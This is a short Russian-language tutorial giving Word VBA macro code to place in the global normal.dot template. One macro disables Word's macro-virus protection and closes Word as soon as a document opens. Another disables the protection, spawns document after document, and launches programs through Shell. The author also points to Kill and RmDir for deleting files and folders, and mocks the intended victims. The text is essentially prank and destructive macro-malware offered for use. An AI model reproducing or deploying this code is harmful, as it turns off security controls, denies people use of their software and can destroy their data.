Автор: YZer
Нумбер
раз. (Желательно это написать в normal.dot) Private
Sub document_open() ' Как только откроется документ
... Options.VirusProtection = False ' ... снимаем защиту от макро
вирусов (на всякий случай ;) ) Application.Quit ' И сразу
закрываем Word :) End Sub Т.е. как только ламух откроет свой
любимый Ворд то он сразу захлопнется.
Нумбер два. (И это желательно ... нет
обязательно надо написать в normal.dot!) Private Sub
document_new() 'Срабатывает как только откроется новый
документ Options.VirusProtection = False ' Ну, а это ты
знаешь Application.Documents.Add ' Открываем новый
документ Selection.Text = "Пишешь что хочешь" ' Пишем в этом
документе Selection.Font.Size = 24 ' Можно поставить нужный
размер ... Selection.Font.Name = "Comic Sans MS" ' ... и
шрифт Shell ("Путь к файлу") ' Можно просто написать
(Shell("explorer")) End Sub Как только открывается документ ,
открываем ещё , а потом ёще и ещё. И так до тех пор пока мозги не
свернутся. А чтобы Ворду одному скучно не было запустим ему
друга(или подружку) ;)
Ещё есть пара функций это kill("путь к
файлу который будет удалён"). Единственное, при попытке удалить
открытый или "только для чтения" файл возникает ошибка. :( И
RmDir("путь") - удаляет каталог. Опять же при попытке удалить
каталог, который содержит файлы, возникает ошибка. :( Я ещё не
придумал, что можно сделать с ними.
Литература по Microsoft Visual Basic
|